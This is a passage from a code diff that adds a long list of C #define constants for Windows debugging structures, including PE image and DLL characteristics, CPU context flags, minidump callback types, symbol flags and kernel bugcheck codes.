IMAGE_DEBUG_TYPE_BORLAND 0x9 +#define IMAGE_SUBSYSTEM_UNKNOWN 0x0 +#define IMAGE_SUBSYSTEM_NATIVE 0x1 +#define IMAGE_SUBSYSTEM_WINDOWS_GUI 0x2 +#define IMAGE_SUBSYSTEM_WINDOWS_CUI 0x3 +#define IMAGE_SUBSYSTEM_OS2_CUI 0x5 +#define IMAGE_SUBSYSTEM_POSIX_CUI 0x7 +#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 0x8 +#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 0x9 +#define IMAGE_SUBSYSTEM_EFI_APPLICATION 0xa +#define IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER 0xb +#define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 0xc +#define IMAGE_SUBSYSTEM_EFI_ROM 0xd +#define IMAGE_SUBSYSTEM_XBOX 0xe +#define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 0x10 +#define IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG 0x11 +#define IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA 0x20 +#define IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 0x40 +#define IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY 0x80 +#define IMAGE_DLLCHARACTERISTICS_NX_COMPAT 0x100 +#define IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x200 +#define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x400 +#define IMAGE_DLLCHARACTERISTICS_NO_BIND 0x800 +#define IMAGE_DLLCHARACTERISTICS_APPCONTAINER 0x1000 +#define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 +#define IMAGE_DLLCHARACTERISTICS_GUARD_CF 0x4000 +#define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT 0x1 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT_STRICT_MODE 0x2 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_SET_CONTEXT_IP_VALIDATION_RELAXED_MODE 0x4 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_DYNAMIC_APIS_ALLOW_IN_PROC 0x8 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_RESERVED_1 0x10 +#define IMAGE_DLLCHARACTERISTICS_EX_CET_RESERVED_2 0x20 +#define IMAGE_DLLCHARACTERISTICS_EX_FORWARD_CFI_COMPAT 0x40 +#define IMAGE_DLLCHARACTERISTICS_EX_HOTPATCH_COMPATIBLE 0x80 +#define SymNone 0 +#define SymCoff 1 +#define SymCv 2 +#define SymPdb 3 +#define SymExport 4 +#define SymDeferred 5 +#define SymSym 6 +#define SymDia 7 +#define SymVirtual 8 +#define NumSymTypes 9 +#define WOW64_CONTEXT_X86 0x10000 +#define WOW64_CONTEXT_CONTROL 0x10001 +#define WOW64_CONTEXT_INTEGER 0x10002 +#define WOW64_CONTEXT_SEGMENTS 0x10004 +#define WOW64_CONTEXT_FLOATING_POINT 0x10008 +#define WOW64_CONTEXT_DEBUG_REGISTERS 0x10010 +#define WOW64_CONTEXT_EXTENDED_REGISTERS 0x10020 +#define WOW64_CONTEXT_FULL 0x10007 +#define WOW64_CONTEXT_ALL 0x1003f +#define WOW64_CONTEXT_XSTATE 0x10040 +#define WOW64_CONTEXT_EXCEPTION_ACTIVE 0x8000000 +#define WOW64_CONTEXT_SERVICE_ACTIVE 0x10000000 +#define WOW64_CONTEXT_EXCEPTION_REQUEST 0x40000000 +#define WOW64_CONTEXT_EXCEPTION_REPORTING 0x80000000 +#define MINIDUMP_MISC1_PROCESS_ID 0x1 +#define MINIDUMP_MISC1_PROCESS_TIMES 0x2 +#define IMAGE_NT_OPTIONAL_HDR_MAGIC 0x20b +#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b +#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b +#define IMAGE_ROM_OPTIONAL_HDR_MAGIC 0x107 +#define DUMP_TYPE_INVALID -1 +#define DUMP_TYPE_UNKNOWN 0 +#define DUMP_TYPE_FULL 1 +#define DUMP_TYPE_SUMMARY 2 +#define DUMP_TYPE_HEADER 3 +#define DUMP_TYPE_TRIAGE 4 +#define DUMP_TYPE_BITMAP_FULL 5 +#define DUMP_TYPE_BITMAP_KERNEL 6 +#define DUMP_TYPE_AUTOMATIC 7 +#define SYMFLAG_CLR_TOKEN 0x40000 +#define SYMFLAG_CONSTANT 0x100 +#define SYMFLAG_EXPORT 0x200 +#define SYMFLAG_FORWARDER 0x400 +#define SYMFLAG_FRAMEREL 0x20 +#define SYMFLAG_FUNCTION 0x800 +#define SYMFLAG_ILREL 0x10000 +#define SYMFLAG_LOCAL 0x80 +#define SYMFLAG_METADATA 0x20000 +#define SYMFLAG_PARAMETER 0x40 +#define SYMFLAG_REGISTER 0x8 +#define SYMFLAG_REGREL 0x10 +#define SYMFLAG_SLOT 0x8000 +#define SYMFLAG_THUNK 0x2000 +#define SYMFLAG_TLSREL 0x4000 +#define SYMFLAG_VALUEPRESENT 0x1 +#define SYMFLAG_VIRTUAL 0x1000 +#define ModuleCallback 0 +#define ThreadCallback 1 +#define ThreadExCallback 2 +#define IncludeThreadCallback 3 +#define IncludeModuleCallback 4 +#define MemoryCallback 5 +#define CancelCallback 6 +#define WriteKernelMinidumpCallback 7 +#define KernelMinidumpStatusCallback 8 +#define RemoveMemoryCallback 9 +#define IncludeVmRegionCallback 10 +#define IoStartCallback 11 +#define IoWriteAllCallback 12 +#define IoFinishCallback 13 +#define ReadMemoryFailureCallback 14 +#define SecondaryFlagsCallback 15 +#define IsProcessSnapshotCallback 16 +#define VmStartCallback 17 +#define VmQueryCallback 18 +#define VmPreReadCallback 19 +#define VmPostReadCallback 20 +#define CONTEXT_AMD64 0x100000 +#define CONTEXT_CONTROL_AMD64 0x100001 +#define CONTEXT_INTEGER_AMD64 0x100002 +#define CONTEXT_SEGMENTS_AMD64 0x100004 +#define CONTEXT_FLOATING_POINT_AMD64 0x100008 +#define CONTEXT_DEBUG_REGISTERS_AMD64 0x100010 +#define CONTEXT_FULL_AMD64 0x10000b +#define CONTEXT_ALL_AMD64 0x10001f +#define CONTEXT_XSTATE_AMD64 0x100040 +#define CONTEXT_KERNEL_CET_AMD64 0x100080 +#define CONTEXT_KERNEL_DEBUGGER_AMD64 0x4000000 +#define CONTEXT_EXCEPTION_ACTIVE_AMD64 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_AMD64 0x10000000 +#define CONTEXT_EXCEPTION_REQUEST_AMD64 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_AMD64 0x80000000 +#define CONTEXT_UNWOUND_TO_CALL_AMD64 0x20000000 +#define CONTEXT_X86 0x10000 +#define CONTEXT_CONTROL_X86 0x10001 +#define CONTEXT_INTEGER_X86 0x10002 +#define CONTEXT_SEGMENTS_X86 0x10004 +#define CONTEXT_FLOATING_POINT_X86 0x10008 +#define CONTEXT_DEBUG_REGISTERS_X86 0x10010 +#define CONTEXT_EXTENDED_REGISTERS_X86 0x10020 +#define CONTEXT_FULL_X86 0x10007 +#define CONTEXT_ALL_X86 0x1003f +#define CONTEXT_XSTATE_X86 0x10040 +#define CONTEXT_EXCEPTION_ACTIVE_X86 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_X86 0x10000000 +#define CONTEXT_EXCEPTION_REQUEST_X86 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_X86 0x80000000 +#define CONTEXT_ARM64 0x400000 +#define CONTEXT_CONTROL_ARM64 0x400001 +#define CONTEXT_INTEGER_ARM64 0x400002 +#define CONTEXT_FLOATING_POINT_ARM64 0x400004 +#define CONTEXT_DEBUG_REGISTERS_ARM64 0x400008 +#define CONTEXT_X18_ARM64 0x400010 +#define CONTEXT_FULL_ARM64 0x400007 +#define CONTEXT_ALL_ARM64 0x40001f +#define CONTEXT_EXCEPTION_ACTIVE_ARM64 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_ARM64 0x10000000 +#define CONTEXT_EXCEPTION_REQUEST_ARM64 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_ARM64 0x80000000 +#define CONTEXT_UNWOUND_TO_CALL_ARM64 0x20000000 +#define CONTEXT_RET_TO_GUEST_ARM64 0x40000000 +#define CONTEXT_ARM 0x200000 +#define CONTEXT_CONTROL_ARM 0x200001 +#define CONTEXT_INTEGER_ARM 0x200002 +#define CONTEXT_FLOATING_POINT_ARM 0x200004 +#define CONTEXT_DEBUG_REGISTERS_ARM 0x200008 +#define CONTEXT_FULL_ARM 0x200007 +#define CONTEXT_ALL_ARM 0x20000f +#define CONTEXT_EXCEPTION_ACTIVE_ARM 0x8000000 +#define CONTEXT_SERVICE_ACTIVE_ARM 0x10000000 +#define CONTEXT_EXCEPTION_REQUEST_ARM 0x40000000 +#define CONTEXT_EXCEPTION_REPORTING_ARM 0x80000000 +#define CONTEXT_UNWOUND_TO_CALL_ARM 0x20000000 +#define WCT_OUT_OF_PROC_COM_FLAG 0x2 +#define WCT_OUT_OF_PROC_CS_FLAG 0x4 +#define WCT_OUT_OF_PROC_FLAG 0x1 +#define SEM_ALL_ERRORS 0x0 +#define SEM_FAILCRITICALERRORS 0x1 +#define SEM_NOGPFAULTERRORBOX 0x2 +#define SEM_NOOPENFILEERRORBOX 0x8000 +#define SEM_NOALIGNMENTFAULTEXCEPT 0x4 +#define VER_PLATFORM_WIN32s 0x0 +#define VER_PLATFORM_WIN32_WINDOWS 0x1 +#define VER_PLATFORM_WIN32_NT 0x2 +#define IMAGE_FILE_RELOCS_STRIPPED2 0x1 +#define IMAGE_FILE_EXECUTABLE_IMAGE2 0x2 +#define IMAGE_FILE_LINE_NUMS_STRIPPED2 0x4 +#define IMAGE_FILE_LOCAL_SYMS_STRIPPED2 0x8 +#define IMAGE_FILE_AGGRESIVE_WS_TRIM2 0x10 +#define IMAGE_FILE_LARGE_ADDRESS_AWARE2 0x20 +#define IMAGE_FILE_BYTES_REVERSED_LO2 0x80 +#define IMAGE_FILE_32BIT_MACHINE2 0x100 +#define IMAGE_FILE_DEBUG_STRIPPED2 0x200 +#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP2 0x400 +#define IMAGE_FILE_NET_RUN_FROM_SWAP2 0x800 +#define IMAGE_FILE_SYSTEM_2 0x1000 +#define IMAGE_FILE_DLL_2 0x2000 +#define IMAGE_FILE_UP_SYSTEM_ONLY_2 0x4000 +#define IMAGE_FILE_BYTES_REVERSED_HI_2 0x8000 +#define MiniSecondaryWithoutPowerInfo 1 +#define MiniSecondaryValidFlags 1 +#define SYMSTOREOPT_COMPRESS 0x1 +#define SYMSTOREOPT_OVERWRITE 0x2 +#define SYMSTOREOPT_PASS_IF_EXISTS 0x40 +#define SYMSTOREOPT_POINTER 0x8 +#define SYMSTOREOPT_RETURNINDEX 0x4 +#define IpmiOsSelRecordTypeWhea 0 +#define IpmiOsSelRecordTypeOther 1 +#define IpmiOsSelRecordTypeWheaErrorXpfMca 2 +#define IpmiOsSelRecordTypeWheaErrorPci 3 +#define IpmiOsSelRecordTypeWheaErrorNmi 4 +#define IpmiOsSelRecordTypeWheaErrorOther 5 +#define IpmiOsSelRecordTypeRaw 6 +#define IpmiOsSelRecordTypeDriver 7 +#define IpmiOsSelRecordTypeBugcheckRecovery 8 +#define IpmiOsSelRecordTypeBugcheckData 9 +#define IpmiOsSelRecordTypeMax 10 +#define BindOutOfMemory 0 +#define BindRvaToVaFailed 1 +#define BindNoRoomInImage 2 +#define BindImportModuleFailed 3 +#define BindImportProcedureFailed 4 +#define BindImportModule 5 +#define BindImportProcedure 6 +#define BindForwarder 7 +#define BindForwarderNOT 8 +#define BindImageModified 9 +#define BindExpandFileHeaders 10 +#define BindImageComplete 11 +#define BindMismatchedSymbols 12 +#define BindSymbolsNotUpdated 13 +#define BindImportProcedure32 14 +#define BindImportProcedure64 15 +#define BindForwarder32 16 +#define BindForwarder64 17 +#define BindForwarderNOT32 18 +#define BindForwarderNOT64 19 +#define MINIDUMP_THREAD_INFO_ERROR_THREAD 0x1 +#define MINIDUMP_THREAD_INFO_EXITED_THREAD 0x4 +#define MINIDUMP_THREAD_INFO_INVALID_CONTEXT 0x10 +#define MINIDUMP_THREAD_INFO_INVALID_INFO 0x8 +#define MINIDUMP_THREAD_INFO_INVALID_TEB 0x20 +#define MINIDUMP_THREAD_INFO_WRITING_THREAD 0x2 +#define ModuleWriteModule 1 +#define ModuleWriteDataSeg 2 +#define ModuleWriteMiscRecord 4 +#define ModuleWriteCvRecord 8 +#define ModuleReferencedByMemory 16 +#define ModuleWriteTlsData 32 +#define ModuleWriteCodeSegs 64 +#define sfImage 0 +#define sfDbg 1 +#define sfPdb 2 +#define sfMpd 3 +#define sfMax 4 +#define CREATE_PROCESS_DEBUG_EVENT 0x3 +#define CREATE_THREAD_DEBUG_EVENT 0x2 +#define EXCEPTION_DEBUG_EVENT 0x1 +#define EXIT_PROCESS_DEBUG_EVENT 0x5 +#define EXIT_THREAD_DEBUG_EVENT 0x4 +#define LOAD_DLL_DEBUG_EVENT 0x6 +#define OUTPUT_DEBUG_STRING_EVENT 0x8 +#define RIP_EVENT 0x9 +#define UNLOAD_DLL_DEBUG_EVENT 0x7 +#define IMAGE_FILE_RELOCS_STRIPPED 0x1 +#define IMAGE_FILE_EXECUTABLE_IMAGE 0x2 +#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x4 +#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x8 +#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x10 +#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x20 +#define IMAGE_FILE_BYTES_REVERSED_LO 0x80 +#define IMAGE_FILE_32BIT_MACHINE 0x100 +#define IMAGE_FILE_DEBUG_STRIPPED 0x200 +#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x400 +#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x800 +#define IMAGE_FILE_SYSTEM 0x1000 +#define IMAGE_FILE_DLL 0x2000 +#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 +#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 +#define WheaErrSrcTypeMCE 0 +#define WheaErrSrcTypeCMC 1 +#define WheaErrSrcTypeCPE 2 +#define WheaErrSrcTypeNMI 3 +#define WheaErrSrcTypePCIe 4 +#define WheaErrSrcTypeGeneric 5 +#define WheaErrSrcTypeINIT 6 +#define WheaErrSrcTypeBOOT 7 +#define WheaErrSrcTypeSCIGeneric 8 +#define WheaErrSrcTypeIPFMCA 9 +#define WheaErrSrcTypeIPFCMC 10 +#define WheaErrSrcTypeIPFCPE 11 +#define WheaErrSrcTypeGenericV2 12 +#define WheaErrSrcTypeSCIGenericV2 13 +#define WheaErrSrcTypeBMC 14 +#define WheaErrSrcTypePMEM 15 +#define WheaErrSrcTypeDeviceDriver 16 +#define WheaErrSrcTypeSea 17 +#define WheaErrSrcTypeSei 18 +#define WheaErrSrcTypeMax 19 +#define AddrMode1616 0 +#define AddrMode1632 1 +#define AddrModeReal 2 +#define AddrModeFlat 3 +#define hdBase 0 +#define hdSym 1 +#define hdSrc 2 +#define hdMax 3 +#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 0x7 +#define IMAGE_DIRECTORY_ENTRY_BASERELOC 0x5 +#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0xb +#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0xe +#define IMAGE_DIRECTORY_ENTRY_DEBUG 0x6 +#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0xd +#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x3 +#define IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 +#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x8 +#define IMAGE_DIRECTORY_ENTRY_IAT 0xc +#define IMAGE_DIRECTORY_ENTRY_IMPORT 0x1 +#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0xa +#define IMAGE_DIRECTORY_ENTRY_RESOURCE 0x2 +#define IMAGE_DIRECTORY_ENTRY_SECURITY 0x4 +#define IMAGE_DIRECTORY_ENTRY_TLS 0x9 +#define WCT_ASYNC_OPEN_FLAG 0x1 +#define SSRVOPT_DWORD 0x2 +#define SSRVOPT_DWORDPTR 0x4 +#define SSRVOPT_GUIDPTR 0x8 +#define HARDWARE_PROFILE_UNDOCKED_STRING 0x40010001 +#define HARDWARE_PROFILE_DOCKED_STRING 0x40010002 +#define HARDWARE_PROFILE_UNKNOWN_STRING 0x40010003 +#define WINDOWS_NT_BANNER 0x4000007e +#define WINDOWS_NT_CSD_STRING 0x40000087 +#define WINDOWS_NT_INFO_STRING 0x40000088 +#define WINDOWS_NT_MP_STRING 0x40000089 +#define THREAD_TERMINATE_HELD_MUTEX 0x4000008a +#define WINDOWS_NT_INFO_STRING_PLURAL 0x4000009d +#define WINDOWS_NT_RC_STRING 0x4000009e +#define APC_INDEX_MISMATCH 0x1 +#define DEVICE_QUEUE_NOT_BUSY 0x2 +#define INVALID_AFFINITY_SET 0x3 +#define INVALID_DATA_ACCESS_TRAP 0x4 +#define INVALID_PROCESS_ATTACH_ATTEMPT 0x5 +#define INVALID_PROCESS_DETACH_ATTEMPT 0x6 +#define INVALID_SOFTWARE_INTERRUPT 0x7 +#define IRQL_NOT_DISPATCH_LEVEL 0x8 +#define IRQL_NOT_GREATER_OR_EQUAL 0x9 +#define IRQL_NOT_LESS_OR_EQUAL 0xa +#define NO_EXCEPTION_HANDLING_SUPPORT 0xb +#define MAXIMUM_WAIT_OBJECTS_EXCEEDED 0xc +#define MUTEX_LEVEL_NUMBER_VIOLATION 0xd +#define NO_USER_MODE_CONTEXT 0xe +#define SPIN_LOCK_ALREADY_OWNED 0xf +#define SPIN_LOCK_NOT_OWNED 0x10 +#define THREAD_NOT_MUTEX_OWNER 0x11 +#define TRAP_CAUSE_UNKNOWN 0x12 +#define EMPTY_THREAD_REAPER_LIST 0x13 +#define CREATE_DELETE_LOCK_NOT_LOCKED 0x14 +#define LAST_CHANCE_CALLED_FROM_KMODE 0x15 +#define CID_HANDLE_CREATION 0x16 +#define CID_HANDLE_DELETION 0x17 +#define REFERENCE_BY_POINTER 0x18 +#define BAD_POOL_HEADER 0x19 +#define MEMORY_MANAGEMENT 0x1a +#define PFN_SHARE_COUNT 0x1b +#define PFN_REFERENCE_COUNT 0x1c +#define NO_SPIN_LOCK_AVAILABLE 0x1d +#define KMODE_EXCEPTION_NOT_HANDLED 0x1e +#define SHARED_RESOURCE_CONV_ERROR 0x1f +#define KERNEL_APC_PENDING_DURING_EXIT 0x20 +#define QUOTA_UNDERFLOW 0x21 +#define FILE_SYSTEM 0x22 +#define FAT_FILE_SYSTEM 0x23 +#define NTFS_FILE_SYSTEM 0x24 +#define NPFS_FILE_SYSTEM 0x25 +#define CDFS_FILE_SYSTEM 0x26 +#define RDR_FILE_SYSTEM 0x27 +#define CORRUPT_ACCESS_TOKEN 0x28 +#define SECURITY_SYSTEM 0x29 +#define INCONSISTENT_IRP 0x2a +#define PANIC_STACK_SWITCH 0x2b +#define PORT_DRIVER_INTERNAL 0x2c +#define SCSI_DISK_DRIVER_INTERNAL 0x2d +#define DATA_BUS_ERROR 0x2e +#define INSTRUCTION_BUS_ERROR 0x2f +#define SET_OF_INVALID_CONTEXT 0x30 +#define PHASE0_INITIALIZATION_FAILED 0x31 +#define PHASE1_INITIALIZATION_FAILED 0x32 +#define UNEXPECTED_INITIALIZATION_CALL 0x33 +#define CACHE_MANAGER 0x34 +#define NO_MORE_IRP_STACK_LOCATIONS 0x35 +#define DEVICE_REFERENCE_COUNT_NOT_ZERO 0x36 +#define FLOPPY_INTERNAL_ERROR 0x37 +#define SERIAL_DRIVER_INTERNAL 0x38 +#define SYSTEM_EXIT_OWNED_MUTEX 0x39 +#define SYSTEM_UNWIND_PREVIOUS_USER 0x3a +#define SYSTEM_SERVICE_EXCEPTION 0x3b +#define INTERRUPT_UNWIND_ATTEMPTED 0x3c +#define INTERRUPT_EXCEPTION_NOT_HANDLED 0x3d +#define MULTIPROCESSOR_CONFIGURATION_NOT_SUPPORTED 0x3e +#define NO_MORE_SYSTEM_PTES 0x3f +#define TARGET_MDL_TOO_SMALL 0x40 +#define MUST_SUCCEED_POOL_EMPTY 0x41 +#define ATDISK_DRIVER_INTERNAL 0x42 +#define NO_SUCH_PARTITION 0x43 +#define MULTIPLE_IRP_COMPLETE_REQUESTS 0x44 +#define INSUFFICIENT_SYSTEM_MAP_REGS 0x45 +#define DEREF_UNKNOWN_LOGON_SESSION 0x46 +#define REF_UNKNOWN_LOGON_SESSION 0x47 +#define CANCEL_STATE_IN_COMPLETED_IRP 0x48 +#define PAGE_FAULT_WITH_INTERRUPTS_OFF 0x49 +#define IRQL_GT_ZERO_AT_SYSTEM_SERVICE 0x4a +#define STREAMS_INTERNAL_ERROR 0x4b +#define FATAL_UNHANDLED_HARD_ERROR 0x4c +#define NO_PAGES_AVAILABLE 0x4d +#define PFN_LIST_CORRUPT 0x4e +#define NDIS_INTERNAL_ERROR 0x4f +#define PAGE_FAULT_IN_NONPAGED_AREA 0x50 +#define PAGE_FAULT_IN_NONPAGED_AREA_M 0x10000050 +#define REGISTRY_ERROR 0x51 +#define MAILSLOT_FILE_SYSTEM 0x52 +#define NO_BOOT_DEVICE 0x53 +#define LM_SERVER_INTERNAL_ERROR 0x54 +#define DATA_COHERENCY_EXCEPTION 0x55 +#define INSTRUCTION_COHERENCY_EXCEPTION 0x56 +#define XNS_INTERNAL_ERROR 0x57 +#define VOLMGRX_INTERNAL_ERROR 0x58 +#define PINBALL_FILE_SYSTEM 0x59 +#define CRITICAL_SERVICE_FAILED 0x5a +#define SET_ENV_VAR_FAILED 0x5b +#define HAL_INITIALIZATION_FAILED 0x5c +#define UNSUPPORTED_PROCESSOR 0x5d +#define OBJECT_INITIALIZATION_FAILED 0x5e +#define SECURITY_INITIALIZATION_FAILED 0x5f +#define PROCESS_INITIALIZATION_FAILED 0x60 +#define HAL1_INITIALIZATION_FAILED 0x61 +#define OBJECT1_INITIALIZATION_FAILED 0x62 +#define SECURITY1_INITIALIZATION_FAILED 0x63 +#define SYMBOLIC_INITIALIZATION_FAILED 0x64 +#define MEMORY1_INITIALIZATION_FAILED 0x65 +#define CACHE_INITIALIZATION_FAILED 0x66 +#define CONFIG_INITIALIZATION_FAILED 0x67 +#define FILE_INITIALIZATION_FAILED 0x68 +#define IO1_INITIALIZATION_FAILED 0x69 +#define LPC_INITIALIZATION_FAILED 0x6a +#define PROCESS1_INITIALIZATION_FAILED 0x6b +#define REFMON_INITIALIZATION_FAILED 0x6c +#define SESSION1_INITIALIZATION_FAILED 0x6d +#define BOOTPROC_INITIALIZATION_FAILED 0x6e +#define VSL_INITIALIZATION_FAILED 0x6f +#define SOFT_RESTART_FATAL_ERROR 0x70 +#define ASSIGN_DRIVE_LETTERS_FAILED 0x72 +#define CONFIG_LIST_FAILED 0x73 +#define BAD_SYSTEM_CONFIG_INFO 0x74 +#define CANNOT_WRITE_CONFIGURATION 0x75 +#define PROCESS_HAS_LOCKED_PAGES 0x76 +#define KERNEL_STACK_INPAGE_ERROR 0x77 +#define PHASE0_EXCEPTION 0x78 +#define MISMATCHED_HAL 0x79 +#define KERNEL_DATA_INPAGE_ERROR 0x7a +#define INACCESSIBLE_BOOT_DEVICE 0x7b +#define BUGCODE_NDIS_DRIVER 0x7c +#define INSTALL_MORE_MEMORY 0x7d +#define SYSTEM_THREAD_EXCEPTION_NOT_HANDLED 0x7e +#define SYSTEM_THREAD_EXCEPTION_NOT_HANDLED_M 0x1000007e +#define UNEXPECTED_KERNEL_MODE_TRAP 0x7f +#define UNEXPECTED_KERNEL_MODE_TRAP_M 0x1000007f +#define NMI_HARDWARE_FAILURE 0x80 +#define SPIN_LOCK_INIT_FAILURE 0x81 +#define DFS_FILE_SYSTEM 0x82 +#define OFS_FILE_SYSTEM 0x83 +#define RECOM_DRIVER 0x84 +#define SETUP_FAILURE 0x85 +#define AUDIT_FAILURE 0x86 +#define MBR_CHECKSUM_MISMATCH 0x8b +#define KERNEL_MODE_EXCEPTION_NOT_HANDLED 0x8e +#define KERNEL_MODE_EXCEPTION_NOT_HANDLED_M 0x1000008e +#define PP0_INITIALIZATION_FAILED 0x8f +#define PP1_INITIALIZATION_FAILED 0x90 +#define WIN32K_INIT_OR_RIT_FAILURE 0x91 +#define UP_DRIVER_ON_MP_SYSTEM 0x92 +#define INVALID_KERNEL_HANDLE 0x93 +#define KERNEL_STACK_LOCKED_AT_EXIT 0x94 +#define PNP_INTERNAL_ERROR 0x95 +#define INVALID_WORK_QUEUE_ITEM 0x96 +#define BOUND_IMAGE_UNSUPPORTED 0x97 +#define END_OF_NT_EVALUATION_PERIOD 0x98 +#define INVALID_REGION_OR_SEGMENT 0x99 +#define SYSTEM_LICENSE_VIOLATION 0x9a +#define UDFS_FILE_SYSTEM 0x9b +#define MACHINE_CHECK_EXCEPTION 0x9c +#define USER_MODE_HEALTH_MONITOR 0x9e +#define DRIVER_POWER_STATE_FAILURE 0x9f +#define INTERNAL_POWER_ERROR 0xa0 +#define PCI_BUS_DRIVER_INTERNAL 0xa1 +#define MEMORY_IMAGE_CORRUPT 0xa2 +#define ACPI_DRIVER_INTERNAL 0xa3 +#define CNSS_FILE_SYSTEM_FILTER 0xa4 +#define ACPI_BIOS_ERROR 0xa5 +#define FP_EMULATION_ERROR 0xa6 +#define BAD_EXHANDLE 0xa7 +#define BOOTING_IN_SAFEMODE_MINIMAL 0xa8 +#define BOOTING_IN_SAFEMODE_NETWORK 0xa9 +#define BOOTING_IN_SAFEMODE_DSREPAIR 0xaa +#define SESSION_HAS_VALID_POOL_ON_EXIT 0xab +#define HAL_MEMORY_ALLOCATION 0xac +#define VIDEO_DRIVER_DEBUG_REPORT_REQUEST 0x400000ad +#define BGI_DETECTED_VIOLATION 0xb1 +#define VIDEO_DRIVER_INIT_FAILURE 0xb4 +#define BOOTLOG_LOADED 0xb5 +#define BOOTLOG_NOT_LOADED 0xb6 +#define BOOTLOG_ENABLED 0xb7 +#define ATTEMPTED_SWITCH_FROM_DPC 0xb8 +#define CHIPSET_DETECTED_ERROR 0xb9 +#define SESSION_HAS_VALID_VIEWS_ON_EXIT 0xba +#define NETWORK_BOOT_INITIALIZATION_FAILED 0xbb +#define NETWORK_BOOT_DUPLICATE_ADDRESS 0xbc +#define INVALID_HIBERNATED_STATE 0xbd +#define ATTEMPTED_WRITE_TO_READONLY_MEMORY 0xbe +#define MUTEX_ALREADY_OWNED 0xbf +#define PCI_CONFIG_SPACE_ACCESS_FAILURE 0xc0 +#define SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION 0xc1 +#define BAD_POOL_CALLER 0xc2 +#define SYSTEM_IMAGE_BAD_SIGNATURE 0xc3 +#define DRIVER_VERIFIER_DETECTED_VIOLATION 0xc4 +#define DRIVER_CORRUPTED_EXPOOL 0xc5 +#define DRIVER_CAUGHT_MODIFYING_FREED_POOL 0xc6 +#define TIMER_OR_DPC_INVALID 0xc7 +#define IRQL_UNEXPECTED_VALUE 0xc8 +#define DRIVER_VERIFIER_IOMANAGER_VIOLATION 0xc9 +#define PNP_DETECTED_FATAL_ERROR 0xca +#define DRIVER_LEFT_LOCKED_PAGES_IN_PROCESS 0xcb +#define PAGE_FAULT_IN_FREED_SPECIAL_POOL 0xcc +#define PAGE_FAULT_BEYOND_END_OF_ALLOCATION 0xcd +#define DRIVER_UNLOADED_WITHOUT_CANCELLING_PENDING_OPERATIONS 0xce +#define TERMINAL_SERVER_DRIVER_MADE_INCORRECT_MEMORY_REFERENCE 0xcf +#define DRIVER_CORRUPTED_MMPOOL 0xd0 +#define DRIVER_IRQL_NOT_LESS_OR_EQUAL 0xd1 +#define BUGCODE_ID_DRIVER 0xd2 +#define DRIVER_PORTION_MUST_BE_NONPAGED 0xd3 +#define SYSTEM_SCAN_AT_RAISED_IRQL_CAUGHT_IMPROPER_DRIVER_UNLOAD 0xd4 +#define DRIVER_PAGE_FAULT_IN_FREED_SPECIAL_POOL 0xd5 +#define DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION 0xd6 +#define DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION_M 0x100000d6 +#define DRIVER_UNMAPPING_INVALID_VIEW 0xd7 +#define DRIVER_USED_EXCESSIVE_PTES 0xd8 +#define LOCKED_PAGES_TRACKER_CORRUPTION 0xd9 +#define SYSTEM_PTE_MISUSE 0xda +#define DRIVER_CORRUPTED_SYSPTES 0xdb +#define DRIVER_INVALID_STACK_ACCESS 0xdc +#define POOL_CORRUPTION_IN_FILE_AREA 0xde +#define IMPERSONATING_WORKER_THREAD 0xdf +#define ACPI_BIOS_FATAL_ERROR 0xe0 +#define WORKER_THREAD_RETURNED_AT_BAD_IRQL 0xe1 +#define MANUALLY_INITIATED_CRASH 0xe2 +#define RESOURCE_NOT_OWNED 0xe3 +#define WORKER_INVALID 0xe4 +#define POWER_FAILURE_SIMULATE 0xe5 +#define DRIVER_VERIFIER_DMA_VIOLATION 0xe6 +#define INVALID_FLOATING_POINT_STATE 0xe7 +#define INVALID_CANCEL_OF_FILE_OPEN 0xe8 +#define ACTIVE_EX_WORKER_THREAD_TERMINATION 0xe9 +#define SAVER_UNSPECIFIED 0xf000 +#define SAVER_BLANKSCREEN 0xf002 +#define SAVER_INPUT 0xf003 +#define SAVER_WATCHDOG 0xf004 +#define SAVER_STARTNOTVISIBLE 